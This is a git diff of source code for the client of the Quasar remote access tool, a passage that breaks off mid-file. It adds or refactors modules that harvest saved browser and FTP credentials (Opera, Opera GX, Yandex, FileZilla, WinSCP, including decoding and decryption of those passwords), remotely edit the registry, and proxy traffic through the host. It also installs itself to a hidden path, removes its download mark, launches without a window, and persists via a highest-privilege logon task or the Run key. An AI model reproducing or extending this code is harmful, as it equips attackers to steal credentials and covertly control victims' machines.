@@ public class UrlHistoryClass } -#endregion + #endregion } diff --git a/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs new file mode 100644 index 000000000..221996f3a --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class OperaGXPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Opera GX"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera GX Stable\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera GX Stable\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs new file mode 100644 index 000000000..6511f081d --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class OperaPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Opera"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera Stable\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera Stable\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/YandexPassReader.cs b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs new file mode 100644 index 000000000..35c835573 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class YandexPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Yandex"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Yandex\\YandexBrowser\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs similarity index 80% rename from Client/Core/Recovery/FtpClients/FileZilla.cs rename to Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs index 5e1c6b0fc..a9f5a6456 100644 --- a/Client/Core/Recovery/FtpClients/FileZilla.cs +++ b/Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs @@ -1,18 +1,23 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; -using xClient.Core.Data; -namespace xClient.Core.Recovery.FtpClients +namespace Quasar.Client.Recovery.FtpClients { - public class FileZilla + public class FileZillaPassReader : IAccountReader { - public static string RecentServerPath = string.Format(@"{0}\FileZilla\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); - public static string SiteManagerPath = string.Format(@"{0}\FileZilla\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + /// + public string ApplicationName => "FileZilla"; - public static List GetSavedPasswords() + public string RecentServerPath = string.Format(@"{0}\FileZilla\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + + public string SiteManagerPath = string.Format(@"{0}\FileZilla\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + + /// + public IEnumerable ReadAccounts() { List data = new List(); try @@ -40,15 +45,15 @@ public static List GetSavedPasswords() if (xmlNodeChild.Name == "User") szUsername = xmlNodeChild.InnerText; if (xmlNodeChild.Name == "Pass") - szPassword = xmlNodeChild.InnerText; + szPassword = Base64Decode(xmlNodeChild.InnerText); } data.Add(new RecoveredAccount { - URL = szHost, + Url = szHost, Username = szUsername, Password = szPassword, - Application = "FileZilla" + Application = ApplicationName }); } } @@ -78,7 +83,7 @@ public static List GetSavedPasswords() data.Add(new RecoveredAccount { - URL = szHost, + Url = szHost, Username = szUsername, Password = szPassword, Application = "FileZilla" @@ -93,7 +98,7 @@ public static List GetSavedPasswords() } } - public static string Base64Decode(string szInput) + public string Base64Decode(string szInput) { try { diff --git a/Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs similarity index 89% rename from Client/Core/Recovery/FtpClients/WinSCP.cs rename to Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs index 635cb94df..3823ad5c0 100644 --- a/Client/Core/Recovery/FtpClients/WinSCP.cs +++ b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs @@ -1,16 +1,20 @@ using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; using System; using System.Collections.Generic; using System.Linq; -using xClient.Core.Data; -using xClient.Core.Extensions; -using xClient.Core.Helper; -namespace xClient.Core.Recovery.FtpClients +namespace Quasar.Client.Recovery.FtpClients { - public class WinSCP + public class WinScpPassReader : IAccountReader { - public static List GetSavedPasswords() + /// + public string ApplicationName => "WinSCP"; + + /// + public IEnumerable ReadAccounts() { List data = new List(); try @@ -37,10 +41,10 @@ public static List GetSavedPasswords() data.Add(new RecoveredAccount { - URL = host, + Url = host, Username = user, Password = password, - Application = "WinSCP" + Application = ApplicationName }); } } @@ -53,14 +57,15 @@ public static List GetSavedPasswords() } } - static int dec_next_char(List list) + private int dec_next_char(List list) { int a = int.Parse(list[0]); int b = int.Parse(list[1]); int f = (255 ^ (((a << 4) + b) ^ 0xA3) & 0xff); return f; } - static string WinSCPDecrypt(string user, string pass, string host) + + private string WinSCPDecrypt(string user, string pass, string host) { try { diff --git a/Quasar.Client/Recovery/IPassReader.cs b/Quasar.Client/Recovery/IPassReader.cs new file mode 100644 index 000000000..ed4331eac --- /dev/null +++ b/Quasar.Client/Recovery/IPassReader.cs @@ -0,0 +1,22 @@ +using Quasar.Common.Models; +using System.Collections.Generic; + +namespace Quasar.Client.Recovery +{ + /// + /// Provides a common way to read stored accounts from applications. + /// + public interface IAccountReader + { + /// + /// Reads the stored accounts of the application. + /// + /// A list of recovered accounts + IEnumerable ReadAccounts(); + + /// + /// The name of the application. + /// + string ApplicationName { get; } + } +} diff --git a/Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs similarity index 93% rename from Client/Core/Recovery/Utilities/SQLiteHandler.cs rename to Quasar.Client/Recovery/Utilities/SQLiteHandler.cs index 8c03a8664..0fcd24d21 100644 --- a/Client/Core/Recovery/Utilities/SQLiteHandler.cs +++ b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs @@ -1,17 +1,16 @@ using System; +using System.Collections.Generic; using System.IO; using System.Runtime.InteropServices; using System.Text; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Recovery.Utilities { public class SQLiteHandler { private byte[] db_bytes; private ulong encoding; - private string[] field_names; + private string[] field_names = new string[1]; private sqlite_master_entry[] master_table_entries; private ushort page_size; private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; @@ -21,11 +20,7 @@ public SQLiteHandler(string baseName) { if (File.Exists(baseName)) { - FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1); - string str = Strings.Space((int)FileSystem.LOF(1)); - FileSystem.FileGet(1, ref str, -1L, false); - FileSystem.FileClose(new int[] { 1 }); - this.db_bytes = Encoding.Default.GetBytes(str); + this.db_bytes = File.ReadAllBytes(baseName); if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) { throw new Exception("Not a valid SQLite 3 Database File"); @@ -116,19 +111,16 @@ public int GetRowCount() public string[] GetTableNames() { - string[] strArray2 = null; - int index = 0; + List tableNames = new List(); int num3 = this.master_table_entries.Length - 1; for (int i = 0; i <= num3; i++) { if (this.master_table_entries[i].item_type == "table") { - strArray2 = (string[])Utils.CopyArray((Array)strArray2, new string[index + 1]); - strArray2[index] = this.master_table_entries[i].item_name; - index++; + tableNames.Add(this.master_table_entries[i].item_name); } } - return strArray2; + return tableNames.ToArray(); } public string GetValue(int row_num, int field) @@ -198,7 +190,7 @@ private void ReadMasterTable(ulong Offset) if (this.master_table_entries != null) { length = this.master_table_entries.Length; - this.master_table_entries = (sqlite_master_entry[])Utils.CopyArray((Array)this.master_table_entries, new sqlite_master_entry[(this.master_table_entries.Length + num2) + 1]); + Array.Resize(ref master_table_entries, this.master_table_entries.Length + num2 + 1); } else { @@ -334,7 +326,8 @@ public bool ReadTable(string TableName) { break; } - this.field_names = (string[])Utils.CopyArray((Array)this.field_names, new string[j + 1]); + + Array.Resize(ref field_names, j + 1); this.field_names[j] = strArray[j]; } return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size)); @@ -349,7 +342,7 @@ private bool ReadTableFromOffset(ulong Offset) if (this.table_entries != null) { length = this.table_entries.Length; - this.table_entries = (table_entry[])Utils.CopyArray((Array)this.table_entries, new table_entry[(this.table_entries.Length + num2) + 1]); + Array.Resize(ref this.table_entries, this.table_entries.Length + num2 + 1); } else { @@ -358,7 +351,7 @@ private bool ReadTableFromOffset(ulong Offset) int num16 = num2; for (int i = 0; i <= num16; i++) { - record_header_field[] _fieldArray = null; + record_header_field[] _fieldArray = new record_header_field[1]; ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); if (decimal.Compare(new decimal(Offset), 100M) != 0) { @@ -375,7 +368,7 @@ private bool ReadTableFromOffset(ulong Offset) long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One)); for (int j = 0; num10 < num7; j++) { - _fieldArray = (record_header_field[])Utils.CopyArray((Array)_fieldArray, new record_header_field[j + 1]); + Array.Resize(ref _fieldArray, j + 1); endIndex = num8 + 1; num8 = this.GVL(endIndex); _fieldArray[j].type = this.CVL(endIndex, num8); @@ -425,7 +418,7 @@ private bool ReadTableFromOffset(ulong Offset) } else { - this.table_entries[length + i].content[k] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size)); + this.table_entries[length + i].content[k] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size)); } num4 += (int)_fieldArray[k].size; } diff --git a/Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Registry/RegistryEditor.cs similarity index 83% rename from Client/Core/Registry/RegistryEditor.cs rename to Quasar.Client/Registry/RegistryEditor.cs index a600cb173..0cf4272d9 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Quasar.Client/Registry/RegistryEditor.cs @@ -1,29 +1,19 @@ using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Extensions; -namespace xClient.Core.Registry +namespace Quasar.Client.Registry { public class RegistryEditor { - - #region CONSTANTS - - #region RegistryKey - private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; - #endregion - - #region RegistryValue - private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; @@ -32,18 +22,13 @@ public class RegistryEditor private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; - #endregion - - #endregion - - #region RegistryKey /// /// Attempts to create the desired sub key to the specified parent. /// /// The path to the parent for which to create the sub-key on. /// output parameter that holds the name of the sub-key that was create. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if action succeeded. public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) { name = ""; @@ -55,7 +40,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str //Invalid can not open parent if (parent == null) { - errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; return false; } @@ -97,8 +82,8 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str /// /// The name of the sub-key to delete. /// The path to the parent for which to delete the sub-key on. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) { try @@ -108,7 +93,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string //Invalid can not open parent if (parent == null) { - errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; return false; } @@ -116,7 +101,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string if (!parent.ContainsSubKey(name)) { errorMsg = "The registry: " + name + " does not exist in: " + parentPath; - //If child does not exists then the action has already succeded + //If child does not exists then the action has already succeeded return true; } @@ -146,8 +131,8 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string /// The name of the key to rename. /// The name to use for renaming. /// The path of the parent for which to rename the key. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) { try @@ -158,7 +143,7 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare //Invalid can not open parent if (parent == null) { - errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; return false; } @@ -190,18 +175,14 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare } } - #endregion - - #region RegistryValue - /// /// Attempts to create the desired value for the specified parent. /// /// The path to the key for which to create the registry value on. /// The type of the registry value to create. /// output parameter that holds the name of the registry value that was create. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) { name = ""; @@ -212,7 +193,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } @@ -253,8 +234,8 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o /// /// The path to the key for which to delete the registry value on. /// /// The name of the registry value to delete. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) { try @@ -264,7 +245,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } @@ -272,7 +253,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e if (!key.ContainsValue(name)) { errorMsg = "The value: " + name + " does not exist in: " + keyPath; - //If value does not exists then the action has already succeded + //If value does not exists then the action has already succeeded return true; } @@ -302,19 +283,18 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e /// The name of the registry value to rename. /// The name to use for renaming. /// The path of the key for which to rename the registry value. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) { try { - RegistryKey key = GetWritableRegistryKey(keyPath); //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } @@ -354,8 +334,8 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke /// RegValueData object. /// The path to the key for which to change the /// value of the registry value on. - /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) { try @@ -365,12 +345,12 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } - - //Value does not exist - if (!key.ContainsValue(value.Name)) + + //Is not default value and does not exist + if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) { errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; return false; @@ -397,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s } - #endregion - public static RegistryKey GetWritableRegistryKey(string keyPath) { RegistryKey key = RegistrySeeker.GetRootKey(keyPath); diff --git a/Quasar.Client/Registry/RegistrySeeker.cs b/Quasar.Client/Registry/RegistrySeeker.cs new file mode 100644 index 000000000..4ba76cb14 --- /dev/null +++ b/Quasar.Client/Registry/RegistrySeeker.cs @@ -0,0 +1,161 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; + +namespace Quasar.Client.Registry +{ + public class RegistrySeeker + { + /// + /// The list containing the matches found during the search. + /// + private readonly List _matches; + + public RegSeekerMatch[] Matches => _matches?.ToArray(); + + public RegistrySeeker() + { + _matches = new List(); + } + + public void BeginSeeking(string rootKeyName) + { + if (!String.IsNullOrEmpty(rootKeyName)) + { + using(RegistryKey root = GetRootKey(rootKeyName)) + { + //Check if this is a root key or not + if (root != null && root.Name != rootKeyName) + { + //Must get the subKey name by removing root and '\' + string subKeyName = rootKeyName.Substring(root.Name.Length + 1); + using(RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName)) + { + if(subroot != null) + Seek(subroot); + } + } + else + { + Seek(root); + } + } + } + else + { + Seek(null); + } + } + + private void Seek(RegistryKey rootKey) + { + // Get root registrys + if (rootKey == null) + { + foreach (RegistryKey key in GetRootKeys()) + //Just need root key so process it + ProcessKey(key, key.Name); + } + else + { + //searching for subkeys to root key + Search(rootKey); + } + } + + private void Search(RegistryKey rootKey) + { + foreach(string subKeyName in rootKey.GetSubKeyNames()) + { + RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName); + ProcessKey(subKey, subKeyName); + } + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + + foreach (string valueName in key.GetValueNames()) + { + RegistryValueKind valueType = key.GetValueKind(valueName); + object valueData = key.GetValue(valueName); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); + } + + AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); + } + else + { + AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + + private void AddMatch(string key, RegValueData[] values, int subkeycount) + { + RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0}; + + _matches.Add(match); + } + + public static RegistryKey GetRootKey(string subkeyFullPath) + { + string[] path = subkeyFullPath.Split('\\'); + try + { + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + /* If none of the above then the key must be invalid */ + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch(Exception e) + { + throw e; + } + } + + public static List GetRootKeys() + { + List rootKeys = new List(); + try + { + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); + } + catch (SystemException) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception e) + { + throw e; + } + + return rootKeys; + } + } +} diff --git a/Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs similarity index 67% rename from Client/Core/ReverseProxy/ReverseProxyClient.cs rename to Quasar.Client/ReverseProxy/ReverseProxyClient.cs index cf309c3ee..d5762689a 100644 --- a/Client/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs @@ -1,10 +1,9 @@ -using System; +using Quasar.Common.Messages.ReverseProxy; +using System; using System.Net; using System.Net.Sockets; -using xClient.Core.Networking; -using xClient.Core.ReverseProxy.Packets; -namespace xClient.Core.ReverseProxy +namespace Quasar.Client.ReverseProxy { public class ReverseProxyClient { @@ -14,11 +13,11 @@ public class ReverseProxyClient public Socket Handle { get; private set; } public string Target { get; private set; } public int Port { get; private set; } - public Client Client { get; private set; } + public Networking.Client Client { get; private set; } private byte[] _buffer; private bool _disconnectIsSend; - public ReverseProxyClient(ReverseProxyConnect command, Client client) + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) { this.ConnectionId = command.ConnectionId; this.Target = command.Target; @@ -47,16 +46,37 @@ private void Handle_Connect(IAsyncResult ar) } catch { - new ReverseProxyConnectResponse(ConnectionId, false, null, 0, this.Target).Execute(Client); + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); Disconnect(); } IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; - new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address, localEndPoint.Port, this.Target).Execute(Client); + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = true, + LocalAddress = localEndPoint.Address.GetAddressBytes(), + LocalPort = localEndPoint.Port, + HostName = Target + }); } else { - new ReverseProxyConnectResponse(ConnectionId, false, null, 0, this.Target).Execute(Client); + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); } } @@ -76,7 +96,7 @@ private void AsyncReceive(IAsyncResult ar) byte[] payload = new byte[received]; Array.Copy(_buffer, payload, received); - new ReverseProxyData(this.ConnectionId, payload).Execute(Client); + Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload}); } catch { @@ -101,7 +121,7 @@ public void Disconnect() { _disconnectIsSend = true; //send to the Server we've been disconnected - new ReverseProxyDisconnect(this.ConnectionId).Execute(Client); + Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId}); } try diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs new file mode 100644 index 000000000..a6d929c75 --- /dev/null +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -0,0 +1,102 @@ +using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientInstaller : ClientSetupBase + { + public void ApplySettings() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + + // delete existing file + if (File.Exists(Settings.INSTALLPATH)) + { + try + { + File.Delete(Settings.INSTALLPATH); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process running at destination path + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + // dont kill own process + if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; + prc.Kill(); + Thread.Sleep(2000); + break; + } + } + } + } + + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); + + ApplySettings(); + + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); + + //start file + var startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false, + FileName = Settings.INSTALLPATH + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar.Client/Setup/ClientSetupBase.cs new file mode 100644 index 000000000..ea84bc27c --- /dev/null +++ b/Quasar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Quasar.Client.User; + +namespace Quasar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Quasar.Client/Setup/ClientStartup.cs b/Quasar.Client/Setup/ClientStartup.cs new file mode 100644 index 000000000..8774acebb --- /dev/null +++ b/Quasar.Client/Setup/ClientStartup.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using System.Diagnostics; + +namespace Quasar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + public void RemoveFromStartup(string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + } +} diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs new file mode 100644 index 000000000..364b94d88 --- /dev/null +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -0,0 +1,52 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUninstaller : ClientSetupBase + { + public void Uninstall() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the 